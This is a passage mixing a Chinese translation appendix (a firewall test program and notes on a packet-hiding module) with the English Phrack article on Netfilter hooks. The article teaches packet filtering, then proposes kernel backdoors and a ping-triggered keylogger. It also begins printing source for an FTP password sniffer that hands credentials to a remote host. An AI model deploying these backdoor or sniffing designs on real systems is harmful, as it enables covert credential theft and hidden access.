最后一个需要提到的就是LWFW的统计记录。任何一个数据包到达钩子函数时,只要LWFW是活跃的,那么看到的数据包总数目将会增加。单个的规则校验函数负责增加由于符合此项规则而丢弃的数据包数目。需要注意的就是,当某个规则的内容变化时,这个规则对应的丢弃数据包总数也会被清零。Lwfwstats函数利用IOCTL的LWFW_GET_STATS命令获取statistics结构体的一份拷贝值,并显示它的内容。

A.2 源代码 lwfw.c
见附件
A.3 lwfw.h,Makefile
见附件
A.4 译者添加的测试程序
下面是译者自己在学习时写的一个对LWFW的过滤规则进行设置和改动的例子,你也可以对此段代码进行修改,当模块成功加载之后,建立一个字符设备文件,然后这个程序就能运行了。

CODE:
/*
Name: test.c
Author: duanjigang
Date: 2006-5-15
*/
#include
#include
#include
#include
#include
#include "lwfw.h"
main()
{
        int fd;
        int i;
        struct lwfw_stats data;
        int retval;
        char msg[128];
        /*来自这个IP地址的数据将被丢弃*/
char * deny_ip = "192.168.1.105";
        /*这个接口发出的数据将被丢弃,无法外流*/
char *ifcfg = "eth0";
        /*要禁止的TCP目的端口22, ssh的默认端口*/
unsigned char *  port = "\x00\x16";
        /*打开设备文件*/
fd = open(LWFW_NAME, O_RDONLY);
        if(fd == -1)
           {
          perror("open fail!");
          exit(-1);
        }
        /*激活LWFW,设置标志位*/
if( ioctl(fd,LWFW_ACTIVATE,0) == -1 )
        {
             perror("ioctl LWFW_ACTIVATE fail!\n");
             exit(-1);
        }
     /*设置禁止IP*/   
if( ioctl(fd, LWFW_DENY_IP, inet_addr(deny_ip)) == -1)
         {
            printf("ioctl LWFW_DENY_IP fail\n"); 
            exit(-1); 
         }
     /*设置禁止端口*/   
if(ioctl(fd, LWFW_DENY_PORT, *(unsigned short *)port) == -1)
         {
           printf("ioctl LWFW_DENY_PORT fail!\n");
           exit(-1);
         }
         /*获取数据,这应该是一段时间之后的事,此处直接获取,不妥*/
        if( ioctl(fd, LWFW_GET_STATS,*(unsigned long*)&data) == -1)
         {
            printf("iotcl LWFW_GET_STATS fail!\n");
            exit(-1); 
         }
        /*
        禁用这个接口
       if(ioctl(fd, LWFW_DENY_IF, (unsigned*)ifcfg) == -1)
         {
               printf("ioctl LWFW_DENY_IF fail!\n");
               exit(-1);
         }
         */
         printf("ip dropped : %d\n", data.ip_dropped);
         printf("if dropped : %d\n", data.if_dropped);
         printf("tcp dropped : %d\n", data.tcp_dropped);
         printf("total dropped : %d\n", data.total_dropped);
         printf("total seen: %d\n", data.total_seen);
         close(fd);
}

附录B  第六部分的代码
这里是一个简单的模块,在这个模块中将对packet_rcv()函数和raw_rcv()函数进行替换,从而隐藏到达或者离开我们指定所IP地址的数据包。默认的IP是“127.0.0.1”,但是,可以通过修改#define IP 来改动这个值。同样提供了一个bash的脚本,负责从Sytem.map文件中获取所需函数的地址,并且负责模块的插入,在插入模块时,以所需的格式将这些函数的地址传递给内核。这个加载脚本是grem写的。原来是为我的mod-off项目而写,经过简单的修改就能用于这里的模块,再次感谢grem。
这里给出的模块只是原理性的代码,没有任何模块隐藏的方法。有很重要的一点需要记住,尽管这个模块能够从运行于同一台机子上的嗅探器中隐藏指定的传输,但是,位于同一个网段上的其他机子上的嗅探器仍然能够看到这些数据包。看了这个模块,精干的读者很快就能设计一些Netfilter钩子函数来阻断任何一种想要阻断的数据包。我就利用本文中提到的技术成功地在其它内核模块项目中实现了对控制和信息获取数据包的隐藏。
(此处代码见附件)

[参考文献]:
[1]  The tcpdump group
      
[2]  The Packet Factory
      
[3]  My network tools page -
      ~zzoklan/software/#net_tools
[4]  Silvio Cesare's Kernel Function Hijacking article
      
[5]  Man pages for:
    - raw (7)
    - packet (7)
    - tcpdump (1)
[6]  Linux kernel source files. In particular:
    - net/packet/af_packet.c     (for  packet_rcv())
    - net/ipv4/raw.c             (for  raw_rcv())
    - net/core/dev.c
    - net/ipv4/netfilter/*
[7] Harald Welte's Journey of a packet through the Linux 2.4 network
     stack
     
[8] The Netfilter documentation page
     http://www.netfilter.org/documentation
[9] Phrack 55 - File 12 -
     
[A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al.
[B] Inside the Linux Packet Filter. A Linux Journal article
     

=================================================================

|=------------=[ Hacking the Linux Kernel Network Stack ]=---------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ bioforge ]=--------------------=|

Table of Contents

1 - Introduction
  1.1 - What this document is
  1.2 - What this document is not
2 - The various Netfilter hooks and their uses
  2.1 - The Linux kernel's handling of packets
  2.2 - The Netfilter hooks for IPv4
3 - Registering and unregistering Netfilter hooks
4 - Packet filtering operations with Netfilter
  4.1 - A closer look at hook functions
  4.2 - Filtering by interface
  4.3 - Filtering by address
  4.4 - Filtering by TCP port
5 - Other possibilities for Netfilter hooks
  5.1 - Hidden backdoor daemons
  5.2 - Kernel based FTP password sniffer
    5.2.1 - The code... nfsniff.c
    5.2.2 - getpass.c
6 - Hiding network traffic from Libpcap
  6.1 - SOCK_PACKET, SOCK_RAW and Libpcap
  6.2 - Wrapping the cloak around the dagger
7 - Conclusion
A - Light-Weight Fire Wall
  A.1 - Overview
  A.2 - The source... lwfw.c
  A.3 - lwfw.h
B - Code for section 6


--[ 1 - Introduction

This article  describes  how  quirks (not necessarily  weaknesses)  in the
Linux network stack can be used for various purposes, nefarious or otherw-
ise.  Presented here will be a  discussion on using  seemingly  legitimate
Netfilter hooks for backdoor communications and also a technique to hide
such traffic from a Libpcap based sniffer running on the local machine.

Netfilter  is  a   subsystem  in the Linux 2.4  kernel.   Netfilter  makes
such  network  tricks as  packet  filtering,  network address  translation
(NAT) and connection tracking possible through the use of various hooks in
the kernel's network code. These hooks are places that kernel code, either
statically  built  or  in  the form  of a loadable  module,  can  register
functions to be called for specific  network events. An example of such an
event is the reception of a packet.


----[ 1.1 - What this document is

This document discusses  how a module writer can make use of the Netfilter
hooks  for whatever  purposes and also how  network traffic  can be hidden
from a Libpcap application.  Although  Linux 2.4 supports  hooks for IPv4,
IPv6 and DECnet,  only IPv4 will be discussed  in this document.  However,
most of the IPv4 content can be applied to the other protocols. As an aide
to teaching, a working kernel module that  provides basic packet filtering
is provided in Appendix A.  Any  development/experimentation done for this
document  was done on an  Intel machine running  Linux 2.4.5.  Testing the
behaviour  of  Netfilter  hooks was done  using  the  loopback device,  an
Ethernet device and a modem Point-to-Point interface.

This  document  is also  written for  my benefit  in an  attempt  to  fully
understand Netfilter.  I do not guarantee that  any code  accompanying this
document is 100% error free  but I have  tested all  code provided here.  I
have suffered  the kernel  faults so hopefully  you won't have to.  Also, I
do  not  accept any  responsibility  for  damages  that may  occur  through
following this document. It is expected that the reader be comfortable with
the C   programming language and have some experience with  Loadable Kernel
Modules.

If I have  made a mistake in something presented here then please let me
know. I am also open to suggestions on either improving this document or
other nifty Netfilter tricks in general.


----[ 1.2 - What this document is not

This document is not a complete ins-and-outs reference for Netfilter. It
is also *not* a reference for the iptables command. If you want to learn
more about the iptables command, consult the man pages.

So let's get started with an introduction to using Netfilter...


--[ 2 - The various Netfilter hooks and their uses
----[ 2.1 - The Linux kernel's handling of packets

As much as I would love to go into the gory details of Linux's handling of
packets  and the events  preceeding  and following  each Netfilter hook, I
won't. The simple  reason is that  Harald Welte has already written a nice
document  on  the subject,  his Journey  of a Packet Through the Linux 2.4
Network Stack  document. To learn  more on Linux's  handling of packets, I
strongly  suggest  that  you  read this  document  as well.  For now, just
understand that as a packet moves through the Linux kernel's network stack
it crosses  several hook  locations where packets can be analysed and kept
or discarded. These are the Netfilter hooks.


------[ 2.2 The Netfilter hooks for IPv4

Netfilter defines five hooks for IPv4.  The declaration of the symbols for
these can be  found in  linux/netfilter_ipv4.h.  These hooks are displayed
in the table below:

Table 1: Available IPv4 hooks

   Hook                 Called
NF_IP_PRE_ROUTING   After sanity checks, before routing decisions.
NF_IP_LOCAL_IN      After routing decisions if packet is for this host.
NF_IP_FORWARD       If the packet is destined for another interface.
NF_IP_LOCAL_OUT     For packets coming from local processes on
    their way out.
NF_IP_POST_ROUTING  Just before outbound packets "hit the wire".

The  NF_IP_PRE_ROUTING  hook  is called  as the first  hook after a packet
has been received.  This is the hook that the module presented later  will
utilise. Yes the other hooks are  very  useful  as  well, but  for now  we
will  focus  only on NF_IP_PRE_ROUTING.

After hook  functions have done  whatever  processing they need to do with
a packet they must  return one of the  predefined  Netfilter return codes.
These codes are:

Table 2: Netfilter return codes
Return Code          Meaning
  NF_DROP        Discard the packet.
  NF_ACCEPT      Keep the packet.
  NF_STOLEN      Forget about the packet.
  NF_QUEUE       Queue packet for userspace.
  NF_REPEAT      Call this hook function again.


The   NF_DROP  return  code  means  that  this  packet  should  be  dropped
completely  and  any  resources  allocated  for  it  should  be   released.
NF_ACCEPT tells Netfilter  that so far the  packet is  still acceptable and
that it  should move to the  next stage of the network stack.  NF_STOLEN is
an interesting one because it tells Netfilter to "forget" about the packet.
What this  tells Netfilter is  that the hook  function will take processing
of this packet from  here and that Netfilter  should drop all processing of
it.  This does  not  mean,  however, that  resources  for  the  packet  are
released. The packet and it's respective sk_buff structure are still valid,
it's just that  the hook  function has  taken  ownership of the packet away
from  Netfilter.  Unfortunately  I'm  not  exactly  clear on  what NF_QUEUE
really  does  so  for  now  I won't  discuss  it.  The  last return  value,
NF_REPEAT requests that Netfilter calls the hook  function again. Obviously
one must be careful using NF_REPEAT so as to avoid an endless loop.


--[ 3 - Registering and unregistering Netfilter hooks

Registration of a  hook  function is a very  simple  process  that revolves
around  the  nf_hook_ops   structure,  defined  in  linux/netfilter.h.  The
definition of this structure is as follows:

          struct nf_hook_ops {
                  struct list_head list;

                  /* User fills in from here down. */
                  nf_hookfn *hook;
                  int pf;
                  int hooknum;
                  /* Hooks are ordered in ascending priority. */
                  int priority;
          };

The  list  member of  this  structure is  used to  maintain  the  lists  of
Netfilter hooks and has no importance for hook registration as far as users
are concerned.  hook is a  pointer to a  nf_hookfn  function.  This is  the
function  that will be  called  for  the  hook.  nf_hookfn  is  defined  in
linux/netfilter.h as well. The pf field specifies a protocol family.  Valid
protocol families are available from linux/socket.h but for IPv4 we want to
use PF_INET.  The  hooknum  field specifies the  particular hook to install
this function  for and is one of the values listed in table 1. Finally, the
priority field specifies where in the order of execution this hook function
should   be   placed.   For  IPv4,   acceptable  values   are   defined  in 
linux/netfilter_ipv4.h  in the  nf_ip_hook_priorities  enumeration. For the
purposes of demonstration modules we will be using NF_IP_PRI_FIRST.

Registration  of a  Netfilter hook  requires using a  nf_hook_ops structure
with the nf_register_hook() function. nf_register_hook() takes the  address
of an nf_hook_ops structure and returns an integer value.  However, if  you
actually   look  at   the  code   for  the  nf_register_hook()  function in
net/core/netfilter.c, you will notice that it only ever returns a  value of
zero. Provided below is example code that simply registers a function  that
will drop all  packets that  come  in.  This code  will also  show  how the
Netfilter return values are interpreted.

Listing 1. Registration of a Netfilter hook
/* Sample code to install a Netfilter hook function that will
* drop all incoming packets. */

#define __KERNEL__
#define MODULE

#include
#include
#include
#include

/* This is the structure we shall use to register our function */
static struct nf_hook_ops nfho;

/* This is the hook function itself */
unsigned int hook_func(unsigned int hooknum,
                       struct sk_buff **skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
    return NF_DROP;           /* Drop ALL packets */
}

/* Initialisation routine */
int init_module()
{
    /* Fill in our hook structure */
    nfho.hook = hook_func;         /* Handler function */
    nfho.hooknum  = NF_IP_PRE_ROUTING; /* First hook for IPv4 */
    nfho.pf       = PF_INET;
    nfho.priority = NF_IP_PRI_FIRST;   /* Make our function first */

    nf_register_hook(&nfho);
    
    return 0;
}

/* Cleanup routine */
void cleanup_module()
{
    nf_unregister_hook(&nfho);
}

That's all there is to it.  From the code given in listing 1 you can  see
that  unregistering  a  Netfilter  hook is a  simple  matter  of  calling
nf_unregister_hook() with  the address of the same structure  you used to
register the hook.


--[ 4 - Basic packet filtering techniques with Netfilter
----[ 4.1 - A closer look at hook functions

Now  its  time to  start looking  at what  data gets  passed  into  hook
functions  and how that data  an be used to make filtering decisions. So
let's look more  closely at  the prototype  for nf_hookfn functions. The
prototype is given in linux/netfilter.h as follows:

  typedef unsigned int nf_hookfn(unsigned int hooknum,
                                         struct sk_buff **skb,
                                         const struct net_device *in,
                                         const struct net_device *out,
                                         int (*okfn)(struct sk_buff *));

The first argument to  nf_hookfn  functions  is a value specifying one of
the hook types given in table 1. The second argument is more interesting.
It is a pointer to a pointer to a  sk_buff  structure, the structure used
by  the network  stack to describe packets.  This structure is defined in
linux/skbuff.h  and due to its  size, I shall only highlight some of it's
more interesting fields here.

Possibly the  most useful fields out of  sk_buff structures are the three
unions that describe the transport header (ie. UDP, TCP, ICMP, SPX),  the
network header (ie. IPv4/6, IPX, RAW) and the link layer header (Ethernet
or RAW). The names of these unions are h, nh and mac respectively.  These
unions contain several structures, depending on what protocols are in use
in a  particular packet.  One should note that  the transport  header and
network header may very well point to the same  location in memory.  This
is  the  case for TCP packets where  h  and  nh  are both  considered  as
pointers  to IP header structures.  This means  that attempting  to get a
value from h->th thinking it's pointing to the TCP header will  result in
false results because h->th will actually be pointing to the  IP  header,
just like nh->iph.

Other  fields of  immediate  interest are the  len and  data fields.  len
specifies the total length of the packet data beginning at data.  So  now
we know how to access  individual protocol  headers and  the  packet data
itself  from  a   sk_buff  structure.   What other  interesting  bits  of
information are available to Netfilter hook functions? 

The  two  arguments  that  come  after   skb   are pointers to net_device
structures.   net_device  structures are  what the  Linux  kernel uses to
describe network interfaces of all sorts.  The first of these structures,
in,  is  used  to  describe the  interface the  packet  arrived on.   Not
surprisingly, the  out  structure  describes  the interface the packet is
leaving on.  It is  important to  realise that  usually only one of these
structures will be provided.  For instance, in will only be provided  for
the NF_IP_PRE_ROUTING and NF_IP_LOCAL_IN hooks. out will only be provided
for the  NF_IP_LOCAL_OUT  and  NF_IP_POST_ROUTING  hooks. At this stage I
haven't  tested  which  of  these  structures  are   available   for  the
NF_IP_FORWARD hook but if you make sure the pointers  are non-NULL before
attempting to  dereference  them you  should be fine.

Finally,  the last item passed into a hook function is a function pointer
called  okfn  that takes a  sk_buff  structure as  its only  argument and
returns an integer. I'm not too sure on what this function does.  Looking
in  net/core/netfilter.c  there are two places where this okfn is called.
These  two places are  in the functions  nf_hook_slow() and nf_reinject()
where at a  certain place this  function is called on a  return value  of
NF_ACCEPT from a Netfilter hook. If anybody has more information on  okfn
please let me know.

Now that we've looked at the most interesting and useful bits of informa-
tion that our hook functions receive, it's time to look at how we can use
that information to filter packets in a variety of ways.


----[ 4.2 - Filtering by interface

This  would have to  be  the  simplest  filtering  technique  we  can do.
Remember those net_device structures  our hook  function received?  Using
the name field from the relevant  net_device  structure allows us to drop
packets depending on their source interface or destination  interface. To
drop all packets that  arrive  on interface  eth0 all  one has  to  do is
compare the value of  in->name  with "eth0".  If the names match then the
hook function simply returns NF_DROP and the packet is destroyed. It's as
easy as that. Sample code to do this is provided in listing 2 below. Note
that the Light-Weight FireWall module will  provide  simple  examples  of
all the  filtering  methods  presented here.  It also  includes an  IOCTL
interface and application to change its behaviour dynamically.

Listing 2. Filtering packets based on their source interface

/* Sample code to install a Netfilter hook function that will
* drop all incoming packets on an interface we specify */
#define __KERNEL__
#define MODULE
#include
#include
#include
#include
#include
/* This is the structure we shall use to register our function */
  static struct nf_hook_ops nfho;

/* Name of the interface we want to drop packets from */
  static char *drop_if = "lo";

/* This is the hook function itself */
  unsigned int hook_func(unsigned int hooknum,
                         struct sk_buff **skb,
                         const struct net_device *in,
                         const struct net_device *out,
                         int (*okfn)(struct sk_buff *))
{
    if (strcmp(in->name, drop_if) == 0) {
        printk("Dropped packet on %s...\n", drop_if);
        return NF_DROP;
    } else {
        return NF_ACCEPT;
    }
}

/* Initialisation routine */
int init_module()
{
    /* Fill in our hook structure */
    nfho.hook     = hook_func;         /* Handler function */
    nfho.hooknum  = NF_IP_PRE_ROUTING; /* First hook for IPv4 */
    nfho.pf       = PF_INET;
    nfho.priority = NF_IP_PRI_FIRST;   /* Make our function first */
  
    nf_register_hook(&nfho);
    
    return 0;
}

/* Cleanup routine */
void cleanup_module()
{
    nf_unregister_hook(&nfho);
}

Now isn't that simple? Next, let's have a look at filtering based on IP
addresses.


----[ 4.3 - Filtering by address

As with filtering packets by their interface, filtering packets by their
source  or  destination  IP address  is very  simple.  This  time we are
interested in the sk_buff structure. Now remember that the  skb argument
is a pointer to a pointer to a sk_buff structure.  To avoid running into
problems it is good practice to declare a seperate pointer to a  sk_buff
structure  and assign the value pointed to by skb to this newly declared
pointer. Like so:

      struct sk_buff *sb = *skb;    /* Remove 1 level of indirection* /

Now you  only have to  dereference once  to access  items in the structure.
Obtaining the IP header for a packet is done using the network layer header
from the the sk_buff structure. This header is contained in a union and can
be accessed as sk_buff->nh.iph. The function in listing 3  demonstrates how
to check the source IP address  of a received packet  against an address to
deny  when given a  sk_buff  for the  packet.  This  code has  been  pulled
directly  from  LWFW.  The  only  difference  is that  the update  of  LWFW
statistics has been removed.

Listing 3. Checking source IP of a received packet

  unsigned char *deny_ip = "\x7f\x00\x00\x01";  /* 127.0.0.1 */
  
  ...

          static int check_ip_packet(struct sk_buff *skb)
          {
              /* We don't want any NULL pointers in the chain to
       * the IP header. */
              if (!skb )return NF_ACCEPT;
              if (!(skb->nh.iph)) return NF_ACCEPT;
          
              if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) { 
          return NF_DROP;
              }

              return NF_ACCEPT;
          }

Now if the source address matches the address we want to drop packets from
then the  packet is  dropped.  For this  function to work as presented the
value of  deny_ip  should be  stored  in  Network Byte Order  (Big-endian,
opposite of Intel).  Although  it's  unlikely that  this  function will be
called  with a  NULL pointer  for it's  argument,  it never  hurts to be a
little paranoid.  Of course if an  error does occur then the function will
return NF_ACCEPT so that  Netfilter  can continue  processing  the packet.
Listing 4 presents the simple module  used to  demonstrate interface based
filtering  changed so  that it drops packets that  match a  particular  IP
address.

Listing 4. Filtering packets based on their source address
          /* Sample code to install a Netfilter hook function that will
          * drop all incoming packets from an IP address we specify */

          #define __KERNEL__
          #define MODULE

          #include
          #include
          #include
          #include                   /* For IP header */
          #include
          #include

          /* This is the structure we shall use to register our function */
          static struct nf_hook_ops nfho;

          /* IP address we want to drop packets from, in NB order */
          static unsigned char *drop_ip = "\x7f\x00\x00\x01";

          /* This is the hook function itself */
          unsigned int hook_func(unsigned int hooknum,
                                 struct sk_buff **skb,
                                 const struct net_device *in,
                                 const struct net_device *out,
                                 int (*okfn)(struct sk_buff *))
          {
              struct sk_buff *sb = *skb;

              if (sb->nh.iph->saddr == drop_ip) {
                  printk("Dropped packet from... %d.%d.%d.%d\n",
    *drop_ip, *(drop_ip + 1),
  *(drop_ip + 2), *(drop_ip + 3));
                  return NF_DROP;
              } else {
                  return NF_ACCEPT;
              }
          }

          /* Initialisation routine */
          int init_module()
          {
              /* Fill in our hook structure */
              nfho.hook     = hook_func;
              /* Handler function */
              nfho.hooknum  = NF_IP_PRE_ROUTING; /* First for IPv4 */
              nfho.pf       = PF_INET;
              nfho.priority = NF_IP_PRI_FIRST;   /* Make our func first */
          
              nf_register_hook(&nfho);

              return 0;
          }
          
  /* Cleanup routine */
          void cleanup_module()
          {
              nf_unregister_hook(&nfho);
          }


----[ 4.4 - Filtering by TCP port

Another simple  rule to  implement is the  filtering of  packets based on
their TCP destination port.  This is only a bit more fiddly than checking
IP addresses because  we need  to  create  a  pointer  to  the TCP header
ourselves.  Remember what was discussed earlier about  transport  headers
and  network  headers?  Getting a pointer  to the TCP header  is a simple
matter of allocating a pointer to a struct tcphdr (define in linux/tcp.h)
and  pointing after the IP header in our packet data.  Perhaps an example
would help.  Listing 5 presents code to check if the destination TCP port
of a packet matches some  port we want to drop all  packets for.  As with
listing 3, this was taken from LWFW.

Listing 5. Checking the TCP destination port of a received packet
          unsigned char *deny_port = "\x00\x19";   /* port 25 */

  ...

          static int check_tcp_packet(struct sk_buff *skb)
          {
              struct tcphdr *thead;

              /* We don't want any NULL pointers in the chain
       * to the IP header. */
              if (!skb ) return NF_ACCEPT;
              if (!(skb->nh.iph)) return NF_ACCEPT;

              /* Be sure this is a TCP packet first */
              if (skb->nh.iph->protocol != IPPROTO_TCP) {
                  return NF_ACCEPT;
              }

              thead = (struct tcphdr *)(skb->data +
                                       (skb->nh.iph->ihl * 4));

              /* Now check the destination port */
              if ((thead->dest) == *(unsigned short *)deny_port) {
                  return NF_DROP;
              }
          
      return NF_ACCEPT;
          }

Very simple indeed. Don't forget that for this function to work deny_port
should be in network byte order.  That's it for packet filtering  basics,
you should have a fair understanding of how to get to the information you
want for a specific packet.  Now it's time to move onto more  interesting
stuff.


--[ 5 - Other possibilities for Netfilter hooks

Here I'll  make some  proposals for  other cool stuff to do with Netfilter
hooks. Section 5.1 will simply provide food for thought, while section 5.2
shall  discuss and  provide working code for a kernel based  FTP  password
sniffer with  remote password  retrieval that really does work. It fact it
works so well it scares me, and I wrote it.

----[ 5.1 - Hidden backdoor daemons

Kernel module  programming would have  to be one  of the  most interesting
areas of development for Linux.  Writing code in the kernel means  you are
writing code in a place  where you are  limited only by  your imagination.
From a malicous point of  view you can  hide files,  processes, and do all
sorts of cool things that  any  rootkit worth its salt is capable of. Then
from a not-so-malicious point of view (yes people  with this point of view
do exist) you can hide  files,  processes and do all sorts of cool things.
The kernel really is a fascinating place.

Now with all the power made available to a kernel level  programmer, there
are  a lot of possibilities.  Possibly one  of the most  interesting  (and
scary for  system  administrators) is  the possibility of backdoors  built
right into the kernel.  Afterall, if a  backdoor doesn't  run as a process
then how do you know it's running? Of course there are ways of making your
kernel  cough-up  such backdoors,  but they are by  no means  as easy  and
simple as running ps.  Now the idea of putting backdoor code into a kernel
is not new.  What I'm proposing  here, however, is placing  simple network
services as kernel backdoors using, you guessed it, Netfilter hooks.

If  you have the  necessary skills and willingness to crash your kernel in
the name of experimentation,  then you can  construct  simple  but  useful
network services located  entirely in the  kernel and accessible remotely.
Basically a  Netfilter  hook could  watch incoming  packets  for a "magic"
packet  and  when  that magic packet  is received,  do something  special.
Results can then be sent from the Netfilter hook and the hook function can
return NF_STOLEN so that the received "magic" packet goes no further. Note
however, that when sending in such a fassion, outgoing packets will  still
be visible on the outbound Netfilter hooks. Therefore userspace is totally
unaware  that  the magic  packet  ever  arrived, but they  can  still  see
whatever you send out. Beware! Just because a sniffer on a compromised host
can't see the packet, doesn't mean that a sniffer  on an intermediate host
can't see the packet.

kossak  and  lifeline wrote an excellent article for Phrack describing how
such things could  be done by registering  packet  type handlers. Although
this document deals with  Netfilter  hooks I still  suggest reading  their
article  (Issue 55, file 12)  as it is a very  interesting  read with some
very interesting ideas being presented.

So what kind of work  could a  backdoor  Netfilter hook do? Well, here are
some suggestions:
  -- Remote access key-logger. Module logs keystrokes and results are
     sent to a remote host when that host sends a PING request. So a
     stream of keystroke information could be made to look like a steady
     (don't flood) stream of PING replies. Of course one would want to
     implement a simple encryption so that ASCII keys don't show
     themselves immediately and some alert system administrator goes
     "Hang on. I typed that over my SSH session before! Oh $%@T%&!".
  -- Various simple administration tasks such as getting lists of who is
     currently logged onto the machine or obtaining information about
     open network connections.
  -- Not really a backdoor as such, but a module that sits on a network
     perimeter and blocks any traffic suspected to come from trojans,
     ICMP covert channels or file sharing tools like KaZaa.
  -- File transfer "server". I have implemented this idea recently. The
     resulting LKM is hours of fun :).
  -- Packet bouncer. Redirects packets aimed at a special port on the
     backdoored host to another IP host and port and sends packets from
     that host back to the initiator. No process being spawned and best of
     all, no network socket being opened.
  -- Packet bouncer as described above used to communicate with critical
     systems on a network in a semi-covert manner. Eg. configuring routers
     and such.
  -- FTP/POP3/Telnet password sniffer. Sniff outgoing passwords and save
     the information until a magic packet comes in asking for it.

Well that's a short list of ideas.  The last one will actually  be discussed
in more detail in the next section as it provides a nice oppurtunity to look
at some more functions internal to the kernel's network code.

----[ 5.2 - Kernel based FTP password sniffer

Presented here is a simple proof-of-concept module that acts as a Netfilter
backdoor. This module will sniff  outgoing FTP packets  looking for a  USER
and  PASS command pair for an FTP server.  When a pair is  found the module
will then wait for  a "magic" ICMP ECHO (Ping) packet big  enough to return
the server's IP  address and the username and password.  Also provided is a
quick hack that sends a magic packet, gets a reply then prints the returned
information. Once a username/password pair has been read from the module it
will then look for the next pair. Note that only one pair will be stored by
the module at one time.  Now that a brief overview  has been provided, it's
time to present a more detailed look at how the module does its thing.

When loaded,  the module's  init_module()  function  simply  registers  two
Netfilter  hooks.  The  first  one is used  to watch  incoming  traffic (on
NF_IP_PRE_ROUTING)  in an attempt  to find a "magic" ICMP packet.  The next
one is used  to watch  traffic leaving the machine  (on NF_IP_POST_ROUTING)
the  module is installed on.  This is where the search  and capture of  FTP
USER  and  PASS  packets happens.  The  cleanup_module()  procedure  simply
unregisters these two hooks.

watch_out()  is the  function used to hook  NF_IP_POST_ROUTING.  Looking at
this  function  you can see  that it is very  simple  in operation.  When a
packet enters the function it is run through various checks to be sure it's
an  FTP  packet.  If it's not  then a  value  of   NF_ACCEPT   is  returned
immediately.  If it is an FTP packet then the module checks to be sure that
it doesn't already have a username and password pair already queued.  If it
does (as signalled by have_pair being non-zero) then  NF_ACCEPT is returned
and the packet can  finally leave the system.  Otherwise,  the  check_ftp()
procedure is called.  This is where  extraction of passwords actually takes
place.  If no previous packets  have been received then the  target_ip  and
target_port variables should be cleared.

check_ftp()  starts by looking for either  "USER",  "PASS" or "QUIT" at the
beginning of the packet.  Note that  PASS commands  will not  be  processed
until a USER command has been processed. This prevents deadlock that occurs
if for  some reason  a PASS command  is received first  and the  connection
breaks before  USER arrives.  Also, if a  QUIT  command arrives  and only a
username has been captured then things are reset so sniffing can start over
on a new connection. When a USER or PASS command arrives, if the  necessary
sanity checks are passed then the argument  to the command  is copied. Just
before check_ftp() finishes under normal operations, it checks to see if it
now has a valid username and password string. If it does then  have_pair is
set and no more  usernames or  passwords will be grabbed  until the current
pair is retrieved.

So far you have seen how this module installs itself and begins looking for
usernames  and passwords  to log.  Now you  shall see what happens when the
specially  formatted "magic" packet arrives.  Pay particular attention here
because this is where the most problems arose during development. 16 kernel
faults if I remember correctly :).  When packets come into the machine with
this module installed, watch_in() checks each one  to see if it is a  magic
packet.  If it does not pass  the necessary  requirements to be  considered
magic,  then  the  packet  is  ignored by  watch_in()  who  simply  returns
NF_ACCEPT.  Notice how one of the  criteria for  magic packets is that they
have enough room  to hold the IP address and username and password strings.
This is done to make sending the reply easier.  A fresh sk_buff  could have
been allocated,  but getting  all of the  necessary  fields  right  can  be
difficult  and you  have to  get them right!  So instead of  creating a new
structure for  our reply  packet, we  simply  tweak  the  request  packet's
structure.  To  return the  packet successfully, several changes need to be
made.  Firstly, the  IP addresses  are swapped  around and  the packet type
field of the  sk_buff  structure (pkt_type)  is changed to  PACKET_OUTGOING
which is defined in  linux/if_packet.h.  The next thing to take  care of is
making sure any link  layer  headers are included.  The data  field of  our
received packet's sk_buff points after the  link layer header and it is the
data field that points to the beginning of  packet data to be  transmitted.
So for interfaces that require the link layer header (Ethernet and Loopback
Point-to-Point is raw) we  point the  data field  to the  mac.ethernet  or
mac.raw structures. To determine what type of interface this packet came in
on, you can check  the value of  sb->dev->type  where  sb is a pointer to a
sk_buff  structure.   Valid  values  for  this   field   can  be  found  in
linux/if_arp.h but the most useful are given below in table 3.

Table 3: Common values for interface types

Type Code        Interface Type
ARPHRD_ETHER     Ethernet
ARPHRD_LOOPBACK  Loopback device
ARPHRD_PPP       Point-to-point (eg. dialup)

The last thing to be done is actually copy the data we want to send in our
reply.  It's now time to send the packet.  The  dev_queue_xmit()  function
takes a pointer to a sk_buff structure as it's only argument and returns a
negative errno  code on a nice  failure.  What do I  mean by nice failure?
Well, if you give dev_queue_xmit() a badly constructed socket buffer  then
you will get a  not-so-nice  failure.  One that comes complete with kernel
fault and kernel stack dump information. See how failures can be splt into
two groups here? Finally, watch_in() returns  NF_STOLEN to tell  Netfilter
to forget it ever saw the packet (bit of a Jedi Mind Trick). Do NOT return
NF_DROP  if you have  called  dev_queue_xmit()!  If you do  then you  will
quickly get a nasty kernel fault.  This is because  dev_queue_xmit()  will
free the passed in socket buffer and Netfilter will attempt to do the same
with an NF_DROPped packet. Well that's enough discussion on the code, it's
now time to actually see the code.


------[ 5.2.1 - The code... nfsniff.c

<++> nfsniff/nfsniff.c
/* Simple proof-of-concept for kernel-based FTP password sniffer.
* A captured Username and Password pair are sent to a remote host
* when that host sends a specially formatted ICMP packet. Here we
* shall use an ICMP_ECHO packet whose code field is set to 0x5B
* *AND* the packet has enough
* space after the headers to fit a 4-byte IP address and the
* username and password fields which are a max. of 15 characters
* each plus a NULL byte. So a total ICMP payload size of 36 bytes. */

/* Written by bioforge,  March 2003 */

#define MODULE
#define __KERNEL__

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define MAGIC_CODE   0x5B
#define REPLY_SIZE   36

#define ICMP_PAYLOAD_SIZE  (htons(sb->nh.iph->tot_len) \
       - sizeof(struct iphdr) \
       - sizeof(struct icmphdr))

/* THESE values are used to keep the USERname and PASSword until
* they are queried. Only one USER/PASS pair will be held at one
* time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int  have_pair = 0; /* Marks if we already have a pair */

/* Tracking information. Only log USER and PASS commands that go to the
* same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;

/* Used to describe our Netfilter hooks */
struct nf_hook_ops  pre_hook;        /* Incoming */
struct nf_hook_ops  post_hook;        /* Outgoing */


/* Function that looks at an sk_buff that is known to be an FTP packet.
* Looks for the USER and PASS fields and makes sure they both come from
* the one host as indicated in the target_xxx fields */
static void check_ftp(struct sk_buff *skb)
{
   struct tcphdr *tcp;
   char *data;
   int len = 0;
   int i = 0;
   
